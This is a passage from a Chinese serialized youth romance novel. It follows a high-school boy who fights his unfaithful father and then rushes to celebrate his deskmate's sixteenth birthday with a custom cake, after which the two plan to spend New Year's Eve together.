但当然不包括易书杳,她这几个月虽然在荆荡有意的看管下胖了五斤,却仍旧是瘦。 平安夜。 晚自习第三节,易书杳正在写物理试卷,荆荡敲了下她桌子:“你明天过生日?” 易书杳惊了惊,抬头问:“你怎么知道?” “圣诞节,还挺好记的吧?”荆荡散漫地撑着下巴,眼睛比平时亮一些,漂亮的锋利感,“上次填表,我不小心看到了。” “喔,”易书杳点了点头,说,“我不过生日的。”主要是没人帮她过。能帮她过的人都不在了,易家这边没人提过这事,估计也没人记得,她自然也不会主动提。 “这不重要,”荆荡说,“所以明天真是你生日,是么?” 易书杳慢吞吞地嗯了声:“对,怎么了?” “没怎么,”荆荡没再问什么,看见她慢一拍的呆愣表情,戳了下她的脸,“随口问问,不行?” 易书杳被莫名戳了一下脸,哎呀了一声:“我没说不行啊,但你戳我脸干嘛!” “不好意思啊,”荆荡说,“我这个人,陋习很多。” 易书杳从他的道歉中看不出半点诚意,不过他盯着她笑,以及他手指碰到她皮肤的触电感,让她忍不住脸红地怒气冲冲:“……你这个人,陋习真的太多了。我忍不了了。” “哦,”荆荡轻飘飘地朝她歪了下头,“那你戳回来?” “……”易书杳不太敢,也不好意思。 她便无视他的话,继续写物理试卷了,只听到荆荡轻呵了一声。 这笑声似乎有荆荡一贯的嘲讽意味在。 易书杳被激起战斗欲,偏过头看向荆荡。 他好整以暇地撩着眼皮,薄唇轻扬,好像有什么欠揍的话正要慢条斯理地说出口。 易书杳左手握紧拳头,右手果断地伸出去,往他的右脸戳去。 第三节晚自习不那么安静,荆荡就这么看着眼前的女生猝不及防地朝他伸出手,然后直愣愣地戳了下他的脸。 她白腻的皮肤纯洁,眼睛很亮很亮,朝他凑过来的时候有一股香杏味,嘴角还轻轻地抿着,像一块奶栗味的糕点。 手指戳到他脸上的时候,他那句欠揍的话被卡在喉咙里,脑袋轰的一声,有些炸开的意味。 易书杳戳完以后便飞速转回了脸,羞赧得什么话也没说。 她以为荆荡会说什么,但等了好几分钟,他什么话也没说。 易书杳偷偷看他一眼,发现他低垂着头,拿了一瓶矿泉水,仰起头,锐利的喉结露出,在那喝着水。 易书杳看完以后便转过了头,于是便没发现。 荆荡抬手摸了下被她戳到的脸部位置,偏头笑了一下,好像还轻轻地爆了句粗口。 次日一早,荆荡起得比平时早十分钟。 七点准,大少爷散漫地坐上汽车,司机小刘殷勤地说:“哇!我们今天可以在七点半之前抵达学校,老太太一定会很高兴的。” “她高兴不如我高兴,”荆荡道,“去chug。” chug是市中心难以预订的蛋糕店。 “是要订蛋糕吗?这种小事我去就好,”小刘建议,“待会我从学校回来,再去chug就好。” “还没订,约了设计师设计,”荆荡说,“现在去chug。” 他语气没以前那么不耐烦,最近脾气好似变好了一点点,但话里话外都透着养尊处优上位者的气息,哪怕才十七岁,说话也很是不容置喙的决断。 小刘哪能招惹他,当即就去了chug。 七点一刻,荆荡走进商场,坐专属电梯直达chug。 还没到装潢独特又复古的甜品店,设计师已经迎了上来:“荆少好,请问对这款蛋糕有什么想法呢?有没有提前构思好的元素。” 小刘知道自家少爷一向懒得思考这种弱智问题,回道:“你看着设计吧——” 荆荡打断道:“粉色基调为主,元素是《犬夜叉》里的戈薇,”他回忆了下,想到易书杳炸毛的可爱模样,勾唇道,“炸毛小猫。” 设计师点点头:“好,了解了,那晚上送到您学校,可以吗?” “嗯。”荆荡点点头,走出商场,回到汽车里。 小刘斟酌着问:“这蛋糕……是送给女生的吗?” “我给男生买粉色蛋糕,我有病是吗。”荆荡昨天打游戏到半夜,随手捞了眼罩要带上补会觉,“好了,闭嘴,我睡会。” “好。”小刘打起方向盘,利索地闭上了嘴。 荆荡一边戴上眼罩,一边抬头看向chug,他期望,这个蛋糕能让她喜欢。 但也就是期待的这一眼,他忽然在直达第十七层的电梯上,看到了一个意料不到的身影。 荆明谦,他的父亲。 男人的身边,站了个风姿绰约的女人,两人身影亲密,而十七层,是酒店。 荆荡眼神变得冷厉,一把扯下眼罩,拉开车门,上了第十七层。 十分钟后,第十七层的酒店,走廊尽头的房间。 荆荡戴着帽子,遮住浓烈的眉,只露出一点眼睛。 他敲了一下门。 门内传来一位女人的声音:“哪位。” “外卖。”荆荡的声音冷若寒蝉。 徐念芷没想太多,打开了门,哪想到门一打开,一个一米八五的高大男生就站在门外。 他穿着校服,眉眼帅气,浑身矜贵,哪是个送外卖的。 荆明谦刚好从浴室洗完澡出来,还没来得及反应,一个拳头就到了他眼前,伴随着一道怒骂声:“操,看来你和别的女人开房还是喜欢最后一个房间——” 荆荡下手毫不留情,他气到极点,把拳头挥向荆明谦:“你不是说会改吗?你他妈对得起我妈吗?” 徐念芷穿着长裙,再惊慌失措也认出这男生是荆明谦的儿子。 她急忙拉开荆荡:“哎,再怎么说他是你爸,你不要打他!” 荆荡不会把矛头对准这个女人,他知道罪魁祸首是管不住自己的荆明谦。 荆荡只是轻轻地甩开徐念芷:“滚远点。” 徐念芷踩着高跟,一个踉跄没站稳摔在地上,捂住了肚子,额头泛出冷汗。 荆明谦连忙看向她的肚子,扶住她:“没事吧,小芷。”说完,他怒气地看向荆荡,握紧拳头朝荆荡挥去:“你下手没轻没重的,知不知道她怀孕了!” 荆荡从小到大第一次被人揍,那一拳擦过他嘴角,他不设防地退了几步,嘴角的血迹蔓延出来,荆明谦的那句话像刀片那样扎进他皮肤,他一愣,额头青筋暴起:“你说什么?” 荆明谦另一拳又朝荆荡袭来:“要是她有个三长两短,你妈都不够赔!” 荆荡抹掉嘴角的血,操了一声,拳头狠狠地挥向荆明谦:“我妈是世界上最好的人,你也有资格评判她?” 父子俩陷入混战,拳头一个揍得比一个狠。 一旁的徐念芷忍着腹痛,拨打了前台的电话。 * 一向踩点到的荆荡今天第二节课还没来,易书杳本来对这个生日没有期待,却因为荆荡,第一次期待起了生日。 却没有想到他今天没来,她难受地盯着门口的方向,她没带手机,只好问许之淮荆荡怎么没来。 许之淮支支吾吾的,说:“可能是感冒了吧,身体不舒服,今天就请假了。” 易书杳第六感不是这样,问:“他电话多少?我去电话亭打给他问问。”这三个月她跟荆荡几乎天天见面,线上的联系方式是没有的。 许之淮看着易书杳在意的模样,不解地问:“你们怎么跟谈了一样?不就是坐了几个月同桌吗?他请一天假而已,你急成这样干嘛?” 易书杳七摇八晃的青春期心思被人直白地掀开,她既羞怯,又像被踩中尾巴的小狗,瞪大眼说:“什么呀,我不急呢,我急什么。我就是随口一问……行吧,你不用把他电话告诉我了。”说完,她走出了教室,到卫生间洗了把脸。 水抚在脸上搅动思绪,易书杳想到许之淮说的“怎么跟谈了一下”,她虽是乖乖好学生,亦知道高一年级谈恋爱的人不在少数。 她撞见过好多次男生和女生手牵手走在校园隐秘的角落,女生笑颜如花,男生则一双眼睛都放在女生身上。 易书杳不受控地代入了下她和荆荡做这样的事情,几秒后,她把水龙头开到最大,匆匆把水全弄到脸上。依旧没赶下绯到极致的脸色。 荆荡始终没来学校,易书杳在意得不行,却又想到许之淮的话。 是啊,她跟荆荡又不是那种关系,坐了几个月的同桌而已,她这么在意做什么。 ……可是,她就是很在意啊。 中午,荆荡仍没来。易书杳担心他是不是出了什么事,又去找了许之淮:“那个……你还是把他电话给我吧,我找他有事。” “什么事?”许之淮知道荆荡和他爸打了架,今天肯定是不会来学校了。 “哎呀,就是有事嘛,”易书杳问,“你知道他今天为什么没来吗?” 许之淮不好说荆家的私事,摇摇头敷衍过去,跟易书杳说了荆荡的电话,顺便也将家庭地址说了出来:“你如果有急事找他,就去他家吧,他今天估计没心情看手机,我刚刚打他电话,他手机都关机了。” 易书杳慢慢地皱起眉头,说了声好。 下午,她跑到电话亭给荆荡拨了几个电话,如许之淮所言,他手机的确关机了。 每一次拨打都是无人接听。 易书杳望着绿色的电话亭,抿紧了唇角。看来十六岁的这个生日,依旧只有她一个人。 下了第三节晚自习,荆荡依旧没来。 十点整,易书杳回到家里,洗完澡回到卧室,她用手机给荆荡打了个电话,没人接听。 易书杳望着黑掉屏幕的手机,睫毛轻颤了颤。 十点半,她给自己庆生,然后许下了十几年来第一次不属于自己的生日愿望:无论荆荡今天发生了什么,希望他都能够顺利度过吧。拜托拜托,请让她早点见到他吧。 可惜生日愿望归生日愿望,今天的荆荡过得非常坎坷。 前台带着几个安保赶来,拉开了少年和男人。 随后荆家接到消息,老太太和荆夫人赶来。 荆荡和荆明谦已经被拉开,不过两人眼睛充血,看向对方的眼睛中满是恨意。尤其是荆荡,他盯着荆明谦,看到妈妈周真珺担心和害怕的眼神后,别过了头。 徐念芷动了胎气,被送到医院,荆家人去看,一整个白天都在商量她怀孕的事。荆荡甚至顾不上他的伤口,一直在安抚周真珺的心情。 直到晚上,荆荡的伤口才被处理好。他嘴角和脸侧挂了彩,坐在荆宅一楼的大厅。 身边是老太太和周真珺。 对面是受伤比他严重多了的荆明谦,男人眼睛肿了,脸上被揍的拳头印分明,胳膊和肚子上更是不堪入目。 “哎,你也真是,这可是你亲儿子,你为了一个女人揍你亲儿子,说出去都不像话!”老太太气得将拐杖往地上打,她看着荆荡挂彩的脸,心疼地摸了摸,“不疼了吧?” “疼的是我,这小子下手是真没轻没重,每一拳都像是要我命来的!”荆明谦摸着嘴角说。 “是想要你命,你怎么没死啊?”荆荡语气恶劣得惊人。 “阿荡!”周真珺拍了下荆荡的手,“他好歹是你爸,放尊重点。” “他配当我爸吗?他都不尊重你,我凭什么尊重他?”荆荡都不愿意看荆明谦,他看着眼前这个温柔大方的女人,道,“妈,离婚,行不行?” 老太太听到这话沉了脸:“阿荡,哪有儿子让爸妈离婚的,你这是不孝。” 荆荡抬起头:“我只知道我妈现在过得不幸福,如果让她一直处于这种破烂的婚姻状态里,这才是真的不孝。” “阿荡,我没有不幸福。”周真珺眼眶一红。 荆荡:“那什么才是不幸福?你能不能别为了这种破男人委屈你自己?” “啪”的一声,一个响亮的巴掌声在大厅响起。 荆明谦不可置信地捂住右脸,看向打他的老太太:“妈,你干什么?” “我干什么?要不是你出去乱搞,还让那个女人怀了孕,阿荡能有这么大反应?”老太太恨铁不成钢地说,“看你现在怎么办,你儿子闹起来我都没办法。” “让她打了吧。”周真珺小心翼翼地看向荆明谦。 “不可能!你想都别想,这个孩子我会让她生下来。”荆明谦不敢对荆荡硬气,却一直都很敢对周真珺硬气,因为他知道,在这段毫无感情只有利益的婚姻里,周真珺对他动了真感情。 从年少起,周真珺就一直喜欢他。 “生下来?”周真珺情绪忽然失控,对荆荡道,“你听见你爸说什么了吗?他要那个女人把孩子生下来?把孩子生下来!” “这不重要。”荆荡对此毫不介意,哪怕以后荆家的财产要分给那孩子一半,他都不在意。他真正在意的是他妈妈能够放过她自己,不要再沉沦于这份破烂无望的感情里。 “这不重要?那什么才重要?”周真珺受不了地推开荆荡,“你根本不懂我,我要的是你爸能够永远在我身边,我幸福不幸福根本无所谓。你能不能别再替我做决定了!” 荆荡心中窝火,看到周真珺手腕上自残的伤口更是难受,他闭了闭眼。 他不是个太执着的人,改变不了的事情可以不再管。 可是,这个世界上到底为什么会有人执着于一段无望的感情? 荆荡这时候并不知道,这个问题的答案,他往后可以在自己身上找到。 “行,你爱怎么样就怎么样。”荆荡看了眼银质的手表,显示十一点四十五分。 他蹙了蹙眉,大步流星地起身往门口走。 周真珺拉住荆荡:“阿荡,你干嘛去?今晚还要出去吗?” “嗯,”荆荡敛着眉,又冷又拽,“要给她过生日。”他一直记挂着易书杳的生日,可今天实在太乱,他被时间推着走到了现在,手机因为没电自动关机,他也没时间去充电,现在离她的生日只有十五分钟,他希望现在能赶紧到她家去。 至于蛋糕,他已经让小刘将其放到门口,他直接拎着蛋糕去就好。 “他是谁?”荆明谦和老太太同时发问。 只有周真珺不在乎这个问题,她只是拉着荆荡,不愿相信他真的不再管她了?这么多年来,荆荡都一直知道她的痛苦,也劝过她很多次离婚,这一次,他真的不管她了吗? “跟你们没关系。”荆荡脾气差劲,拎了蛋糕就走。 周真珺望着荆荡离开的背影,无望地垂下手,眼泪哗地流出来。 荆荡走出大厅往右边转,看到周真珺在哭,他滑了滑喉咙,一股火在心里蔓延,同时又觉得怒其不争。 小刘迎上来:“现在还要去易家吗?根本来不及的,过去得一个小时。” “去,”荆荡拎着蛋糕往车库走,“你开车。” 小刘看见荆荡冷峻的表情,知道他今天非去不可,便点点头,说行。 很快到了车库,荆荡在后排落座,蛋糕放在座位上,小刘开车。 车子穿过车库驶出去,花了好几分钟时间,荆荡看着定制的蛋糕,扫了眼时间,十一点五十一分。 离她的生日只有九分钟了。 而去她的家需要一个小时。 看来这次十六岁生日,他真要缺席。 荆荡烦躁地打开车窗,冷风灌进,吹起他浓烈的乌发。月明星稀,路旁的苦谏树随风飘扬,他下巴遮在昏暗半明的阴影里,漆黑的眼睫下垂。 忽而,他看到什么,冷睫掀了起来。 一个穿着柠檬黄棉袄的少女站在苦谏树下,她拿着手机,忐忑不安地眺望某个方向。而那个方向,似乎是他家。 冬天的风大,她的发散着,脸被冻得泛红,整个人像陷在一团柔和温软的棉花里。 几秒后,她放下手机,往他家的方向走去。 车子急速地飞过,荆荡喊:“停车。” 车在几秒内停下,他匆匆拉开车门,下了车,跑过去拉住易书杳的手腕:“易书杳。你怎么在这?” 易书杳的手腕骤然被人抓住,惊讶地抬起头,看见了想见的人,眼睛亮了亮,但又不好意思说是专门来找他,偏头道:“……路过呀。” 荆荡挑了挑眉,哦了一声。 “你哦什么哦!”易书杳把头转回来,在路灯的照映下,这才看见荆荡嘴角和脸颊上的伤口,她哎了一声,呼吸窒了窒,情不自禁抬手摸了下他右脸的伤,着急道,“这是怎么弄的?你又跟别人打架了吗?我说了以后都不要打架了,你怎么不听话?” 荆荡的右脸被易书杳摸了一下,似一片羽毛安静又热烈地划过心尖,他心脏像春日蝶般在波斯菊上塌陷,今天窝的所有火在这一刻化为虚有。 他喉咙一紧,情不自禁地抬手抱住她,薄唇动了动:“别动,抱十六秒。” 易书杳的杏眼凝滞,被他虚虚地环住以后,双手都不知道放哪里,她从没见过这样的荆荡,他向来不可一世,哪像今天这样过。 虽然看起来还是很目中无人,但易书杳在被他抱着,胸口轻轻地贴在他心口处的时候,莫名觉得他今天有些脆弱。 是那种只展现在她面前的脆弱感。 易书杳呼吸安静,感觉这十六秒在无限拉长。 她的心跳声震耳欲聋,闻到他身上那股凛冽的冷感清香,以及路边苦谏树的味道,手指拉了拉他的衣角:“……荆荡。” 荆荡低低地嗯了声,下巴放到她的肩膀,自然能闻到她身上那股让他沉溺的香气,他闭了闭眼睛,不舍地放开她:“生日快乐啊易书杳。” “快乐呢,快乐。”易书杳不好意思地摸了摸红色的耳朵尖。 “你看起来是挺快乐,”荆荡低头道,“都快路过到我家门口了。” “……”易书杳也许是被他抱了一下,那种莫名其妙的委屈感涌现,忍不住说实话,“那我是专门来找你的啊,谁让你昨天明明问了我生日的事,今天又没来上学。” 荆荡低笑了下,揉了两把她脑袋:“知道了。” 易书杳望着荆荡,刚才的那个怀抱让她沉溺,让她……怀念。 明明才过去几分钟,可她现在却又想继续被他抱着了。 只有被他抱着,心脏才会无比鲜活地跳动呐。 易书杳吸了下鼻子,当然不好意思提出让他继续抱,可是她今天过生日哎。能不能……发挥一下寿星的身份,大着胆子主动抱他一下呢。 她也不贪心,他主动抱她十六秒,那她算上利息,就抱十七秒好了。 易书杳舔了下嘴唇,心肺因为想要被他抱而痒痒的。 停顿几秒,她慢慢地伸出手,却被小刘送蛋糕的动作打乱。 荆荡接过蛋糕,小刘便又回了车里。 易书杳看见蛋糕,惊诧地出声:“戈薇!” 蛋糕一看就是定制款,是很少女心的粉色系,主要的形象是飘散长发的女高中生,和她最爱的戈薇一模一样,简直就是栩栩如生。 而戈薇的旁边,立着一只张嘴要咬人的白色小猫,还是有胡须的那一种。 “好可爱……”易书杳看看戈薇,又看看小猫,心被萌化了,抬头看向荆荡,“好可爱。” “是挺可爱。”荆荡看着眼眸晶晶亮的小姑娘,他的胸腔处仿佛还能感受到她身体的温度,心脏也因为她之前的靠近而跳动得更猛烈。 易书杳望着蛋糕,又望向荆荡,心想着这下她有正当理由抱他了。 嗯,她就说她太感动了,所以想抱抱他。 易书杳眨了眨眼,再次朝荆荡慢吞吞地伸出手。 头顶忽然掉下他低沉的话:“先帮你过生日。你拿一下蛋糕。” “喔,好。”易书杳的手一愣,乖乖地点点头,接过了蛋糕。 荆荡把外套脱下来,往枯树叶凌乱一地的台阶上垫去:“坐。” “哎,不用吧,”易书杳不好意思地弯下腰拿起外套,“地上脏,别弄脏你衣服了。” “少磨叽,”荆荡不由分说地将外套垫在台阶,“坐。” “……”易书杳:这个人,还真是一如既往的霸道啊。 外套已然垫在台阶,她轻轻地哼了一声,坐在了外套上。 “你哼什么?”荆荡勾唇在她旁边坐下,轻掐了把她的脸。 “就哼了,怎么了?”易书杳被他的手掐脸,弄得酥酥麻麻的,笑着侧过头,“哎呀,你管我呀。” “嗯,管了,”荆荡掐完她脸又揉了下她头发,然后将蛋糕放在腿上,拆开里面的蜡烛,拿出银质打火机点燃上面“16”的字数,“你不乐意?” 昏黄的路灯下,那个漂亮得独一无二的生日蛋糕燃起蜡烛,在风里摇曳,晃在易书杳的眼里,她羞于表达,闭上眼睛就要许愿:“哎,生日就要过去了,我得许愿了。” “急什么,还有三分钟,”荆荡拿手背蹭了下她眼角,“睁眼。” 易书杳睁开眼睛,看见他离她好近,冷硬的眼晃进蜡烛的火,又碎又亮,漆浓的瞳孔盯着她,她心脏漏了一拍,羞恼地低头:”干嘛?” “乐意不乐意,”荆荡拿手轻轻地捏着她下巴上的软肉,让她看着他,他笑得有些坏,又很好看,“我管你。” “随便你,”易书杳对上他的笑容,脸颊的红出卖心动,她闭上眼睛,语气着急的,有些像撒娇的口吻,“好了,我真要许愿了,不然就许不成功了。” 荆荡放过她,下巴轻轻一点:“许。” “好。”易书杳安静地闭上眼,许起了愿望。 荆荡拿起手机,点开录像,摄像头对准了她。 女孩睫毛长长的,闭眼睛的时候看起来也太乖了,柔白的双手合成十字,许愿时嘴巴在动。 荆荡透过屏幕,扫了眼她的嘴唇。红润,像草莓味的果冻。 他盯了好几秒,嗓子痒痒的,随后听到她的一声“许好啦”,移开了眼神。【你现在阅读的是 】 12、那女孩传简讯给我 12. 易书杳许完愿望,兴冲冲地把蜡烛取下,说:“我来切蛋糕吧,我好几年没吃过蛋糕了。” 荆荡从塑封袋取出刀叉和盘子:“馋的你。” “就馋,就馋。”易书杳接过刀叉,在蛋糕上小心翼翼地划开一刀,假装凶凶地问,“不行吗?” 荆荡没再说话,易书杳切完蛋糕愣了一下,还以为他被她凶到,于是抬起眼,却恰好撞进他眼睛:“易书杳,以后你生日,我都陪你过吧?” 易书杳的手指瑟缩了一下,将小块的蛋糕放进盘子里,说:“每年吗?不太好吧……你如果那天有事,不用陪我。” “有事当然就不陪你,你想得挺美。”荆荡尾音拉长,挺坏的语气。 易书杳又哼了声,把蛋糕递给他:“哦!那不行,你说了每年陪我,就得每年陪我,有事也得陪。” “这么凶?”荆荡接过蛋糕,乐了,“谁惯的你。” 易书杳没说话,默默地切着蛋糕,切完自己的那份后,勺子戳了一块放进嘴里,奶油甜而不腻,是那种品质很好的清香味,她没吃过这么好吃的蛋糕,眼睛哇塞地一下亮了。 她吃到好吃的就心情好,大着胆子戳了下他的肩膀:“哎,不是你惯的我吗?是你自己先说每年生日都陪我过的。” 荆荡怕痒,被她戳得往后偏了下:“有话说话,你别动手动脚。” 易书杳第一次见荆荡这样往后躲,她往他那边凑过去,又继续戳:“就动手动脚,怎么样?你很怕痒吗?” 眼前的小姑娘笑得梨涡发亮,嘴唇一边动一边笑,渐渐的离他咫尺之间,两人靠得很近,他一低头就能碰到她的额头。 荆荡滚滚喉咙站起来,高出她一个头,她只够到他肩膀,只能仰起头戳他。 戳得有些费力,易书杳便没戳了,改拉他的衣角:“吃蛋糕,不闹你了。” “我不吃甜的,”荆荡说,“你自己吃。” “好吧。”易书杳不爱强迫别人做不喜欢的事,哪怕她想要他吃一口她的十六岁蛋糕,也作罢了。她安静地吃着蛋糕,荆荡不知道什么时候又坐了下来,离她有一点点距离,肩膀没有靠在一起。 风穿过他们的中间,扫来一阵空落落的感觉。 易书杳不满地咬了口蛋糕,正准备找个借口不动声色地往他那边坐过去,下一秒男生有力的肩膀靠上了她的,膝盖也跟她碰在一起,温度飙升,她往他看过去。 荆荡靠着她坐着,眼皮冽然地低撩:“有事?” “没事……”易书杳甜甜地笑了下,觉得这个瞬间很美好。如果能定格住就好啦。 “吃你的蛋糕,”荆荡的膝盖轻撞了下她的,“多吃点,别怕胖,你太瘦了,营养不良,以后生病有你好受。” “我都胖五斤了,”易书杳掐了把自己的脸,“脸上容易长肉,再胖就不好看了。” “要那么好看干什么?健康就行,”荆荡说,“你多吃两口蛋糕就能变胖了?” 易书杳说:“你自己都不吃,还叫我吃,坏。” “我吃你就吃了?”荆荡轻飘飘地问。 “吃呀,”易书杳知道他不爱吃甜的,肆无忌惮地冲他说,“你吃几口我吃几口。” “以后吃饭也这样?” “啊,什么?”易书杳没反应过来。 荆荡睨她一眼。 易书杳逐渐反应了过来:“喔……” “以后就这样。”荆荡拿起不爱吃的蛋糕,蹙眉吃了几口。 “……”易书杳连忙阻止他,“哎,不要这样,你不喜欢吃就不要吃,我不想你因为我做自己不喜欢做的事。” 荆荡一向不怎么听她的话,吃了几口蛋糕放下,瞥她:“吃。” 易书杳拿他没辙,跟着吃了几口蛋糕。 自这以后,荆荡便经常用这个方法对付她。 易书杳不怎么喜欢吃饭,荆荡其实吃得也不太健康,但因着她,他每天都去食堂吃饭,易书杳跟在他身边,被他“他吃多少,她吃多少”逼着比平时多吃了一些饭。 两个月后,到了放寒假的日子,易书杳比之前脸色红润了不少,很有血气和活力,很多同学都说她看起来很健康。 她哪能不健康呢,某人就陪在她身边,陪着她吃了好多顿饭。 她从以前的胡乱吃几口对付,到现在的不敷衍对每一顿饭,整个人倒是没胖,因为荆荡饭后半小时还拉她一块去操场跑步。 这两个月下来,易书杳是真健康了不少,不再是那个瘦骨嶙峋,风一吹就倒的柔弱小姑娘。 期末考完就放了寒假,中间大概有一个月,两人会见不到面。 考完试的那天,班主任在讲台上讲放假的事宜。 易书杳虽然考试完如释重负,但她想到有一个月见不到荆荡,闷闷不乐地翻阅着寒假的作业,耳朵放空,什么也听不进去。 许之淮在和荆荡说着寒假飙车的事,说很多人想约他一块去飙车,问他想不想去。 荆荡说当然去。 易书杳知道他爱飙车,他就喜欢这种刺激的运动。 “那行,我跟他们说,”许之淮高兴地说,“qw那边有比赛,听人说可好玩了,特刺激。” 荆荡嗯了声,一副很感兴趣的样子:“行。” 易书杳低着头,无意识将物理作业的本子折起一个角。 哎,他好像跟她不一样。 她会觉得一个月见不到面很难过,他倒是好像挺无所谓的。 易书杳把物理作业折起的角又折了一次,开了窗,风冷冷的,今年冬天至今还没下雪,温度却很低。 班主任还在讲台讲来年开春开学考,同学们一片沮丧,说这个年也要过得不好了。 “我们的目的就是让你们过不好年,别总想着玩,明年就高二了,再有一年就要上战场了,你们都不小了,得从现在重视起每一次考试。”班主任恨铁不成钢地说。 班里的同学当然都觉得现在离高考还很远,易书杳都这么觉得。 ……还有两年半呢,她和荆荡,起码还有两年半能在一起。 易书杳呼了一口气,许之淮还在讲qw的比赛,他越讲越兴奋,好像参赛的是他一样。 班主任眼尖发现眉飞色舞的许之淮,拍了拍桌子:“个别同学不要太张扬啊,还没放寒假呢,分数考得低就算了,还这么不听话。你但凡要是像你前面那位考得好我就不说你了。” 前面那位考得好的是荆荡,他虽然就没着过调,但也偶尔学习,因为易书杳爱学习,他就把知识点弄懂了再去教她。他成绩本身就不差,一来二去就很拔尖了。 “又拿荆荡跟我比,”许之淮听懂了班主任的言外之意,但他不在意,又问荆荡,“比赛是除夕那天,你家里能让你出来吗?” 易书杳低头摸着尾指,除夕? 大团圆的春节,比赛居然弄到这个时间点,真够刁钻的呀。 不过……除夕,这么有意义的一个节日,她出奇地想跟荆荡一块过。 可惜,他要去参加赛车比赛呢,可是一点都没想跟她一块过。 哼,不过就不过,她一个人也能过得风生水起。 就是没那么开心罢了。 易书杳愤愤地拿笔戳了下物理试卷,突然,手里的笔被人抽去。她吓了一跳,循着笔的方向看去,对上荆荡挑起的眉:“谁惹你了?对物理试卷撒什么气。” “啊,没谁惹我,”易书杳慢一拍地撒了个谎,“就是觉得作业太多了。” 荆荡噢了声,没看出小姑娘的异常,将笔放到她桌上,低头摆弄起手机。 易书杳拿起桌上的笔,埋头写起了物理题。她从最后一道题做起,本就有难度,又想起之后要一个人孤零零地过除夕,思路受阻,拿笔在草稿本上写了半天,都没理清思绪。 荆荡玩着手机瞥到这一幕,扫了眼题,又看了眼她解的题,扯了下唇角:“你怎么看的题?题目是要你求v的取值范围,易书杳,你在想什么?” “……”易书杳抬眼看向题目,哦,她真看错题目了。不过他笑她干嘛? 还不是因为他压根没想到要跟她一块过除夕,才导致她没认真写题的。 想到这,易书杳怨声载道地说:“哦,我看错题了而已。” 荆荡扯着唇角,揉了下她的头:“不会写的题记得问我,我教你。” 易书杳沉溺他大手的温度,越发想除夕的时候他也能像现在这样陪在她身边,一边揉着她的头,一边笑着对她说新年快乐。 ……如果,他能再抱她一下就好了。 可惜,想象的这一切终究是镜花水月。 他除夕那天根本不会出现在她身边。 易书杳吸了下鼻子,心不在焉地点点头:“知道了。”她拿起笔,准备写下一道题。一道高大的阴影覆盖过来,遮住她瘦小的身形,耳边传来荆荡的嗓音:“除夕那天,你能来看我比赛么?” 易书杳立马抬头,看到他朝她勾勾唇:“那天我去接你,比完赛我和你一起过除夕,行吗?” 荆荡说完一早就想说的话,见易书杳还木着没说话,低头又问:“家里不让啊?” “没不让,他们都不管我,”易书杳挠了挠脸,“我只不过……” 只不过没想到他会直接跟她说一块过除夕的事,也没想到除夕那一天,她真不再是孤单的一个人,荆荡能陪着她过新年了。 原来他也想跟她一块过除夕啊,她还以为就她一个人想呢。 荆荡听不太清她说话,凑近她了一些:“只不过什么?” 男生清澈缱绻的冷冽味骤然扑来,易书杳心脏一紧,回:“没什么,行的,”这么近的距离,她不敢看他,错开视线道,“除夕我出来跟你一块过。就这么说定了。” 荆荡笑了下,拨了拨她浓密的睫毛,像亲手将振翅的蝴蝶抓进手中,语气散漫又志在必得:“行,到时候赢了奖牌给你挂脖子上。” * 这天过后,寒假就这么来临。 易书杳的作息很固定,早上七点半醒,晚上十点半睡,一天天不是在看书,就是在写题,雷打不动。 期末考试的成绩是一周后出的,当时在饭桌,易书杳闷头吃饭,易珍如和易振秦在聊考试成绩的事。 易珍如一向不爱学习,学习自然不是很好,易振秦看着她排倒数的学习成绩直皱眉:“你这是一点没学啊?在学校尽玩了是吧。你看看杳杳,刚转学过来都能排年级第五名,再看看你,像什么样子!” 易珍如还没说话,秦思仪率先开口了:“这有什么的,再过一年就把如如送国外好了,国内教育太卷了。” “就是,我直接出国不就好了吗?”易珍如撇嘴道,“学习成绩好有什么用啊,之后还不是要辛苦工作。” “你啊!”易振秦一口气堵在嗓子眼。 秦思仪拍了拍易振秦的后背,扫一眼易书杳,说:“反正你有一个女儿学习好就行了。” 易振秦不是没听出这话的腔调,但他懒得理会,夹起桌上的牛肉放到易书杳碗里:“是啊,还是我们杳杳听话,多吃点牛肉。” 易书杳看着牛肉上的香菜末迟疑,低声说:“我香菜过敏,吃不了。” “只吃牛肉没事吧?”易振秦弄掉牛肉上的香菜,还是将牛肉放回易书杳碗里,“吃吧,没事的,我把香菜弄掉了。” 易书杳皱了皱眉,组织着拒绝的话。 易珍如一筷子夹走了她碗里的牛肉,放到易振秦的碗里,无语道:“人家香菜过敏你没听见吗?只吃牛肉也不行,你想让她大过年的进医院啊。” 易振秦乐了:“你们俩关系什么时候变好了?” 易珍如懒得搭腔,她只是讨厌易振秦犯蠢。 易振秦笑眯眯地又说:“今年除夕我们去港桂巷过年啊。” 易珍如第一个不干:“港桂巷?那不是易书杳的老家吗?穷得要死的小地方,还是乡下,我才不去。” 秦思仪:“如如,注意跟爸爸说话的语气啊。” “妈,你同意去了?”易珍如看出来秦思仪好像提前知道这事的模样,问。 “为什么不同意?”秦思仪给易珍如夹了只虾,“接回杳杳后,我们还没有去过港桂巷,就趁过年的时候去一趟,顺便——”她顿了下,假装语气清淡,“去看看杳杳的妈妈和外婆。” 易如杳吃饭的手明显一顿。 易珍如还想说什么,被秦思仪一个眼神压下去了。 易振秦笑了笑,给易书杳夹了只虾:“我已经订好机票了,也预订了港桂巷的酒店,”他看见易书书杳一副不理解的样子,实话实说道,“这些天我一直梦见你妈和你外婆,想着这么多年没回港桂巷,也该回去看看,去祭拜祭拜。不如就今年过年回去,正好你也去看看你妈妈和外婆。” 易书杳倒的确是打算新年期间抽一天回去看妈妈和外婆,她扒了口饭,想到这么多年易振秦都没回港桂巷,今年突然要回去,大概也是上了年纪良心发现了吧。 在她五岁那年,妈妈就和易振秦离了婚,十二岁妈妈因病去世,易振秦那时已经和秦思仪结了婚,也没来看妈妈一眼。 ……不过,妈妈临终前依旧还是说了易振秦的名字,她眼神里的感情,易书杳不是看不出来。大人们的感情问题易书杳不知道具体的,但她知道,妈妈大概也是想易振秦回港桂巷的吧。 易书杳没权利替妈妈拒绝,她已经不是小孩子了,不能因为易振秦这么多年没有回去看过而意气用事。 “哪天的机票?”沉默了几分钟,易书杳问。 “除夕,”易振秦说,“我只有那天有时间,正好也是过年,除夕的机票,落地刚好吃年夜饭。酒店的年夜饭我也定好了。” 易书杳怔了征。 除夕?那是她和荆荡约定好去看他比赛的日子。 这一天不行。 可是,易振秦只有这一天有时间。 易书杳想了想,说:“除夕那一天我有点事,能不能你们先去,我坐零点后的飞机来呀?” 易珍如说:“春节的机票哪有这么好订啊,现在机票早就提前订完了。” 哦,也是。易书杳抿了下嘴角。 是她病急乱投医了。 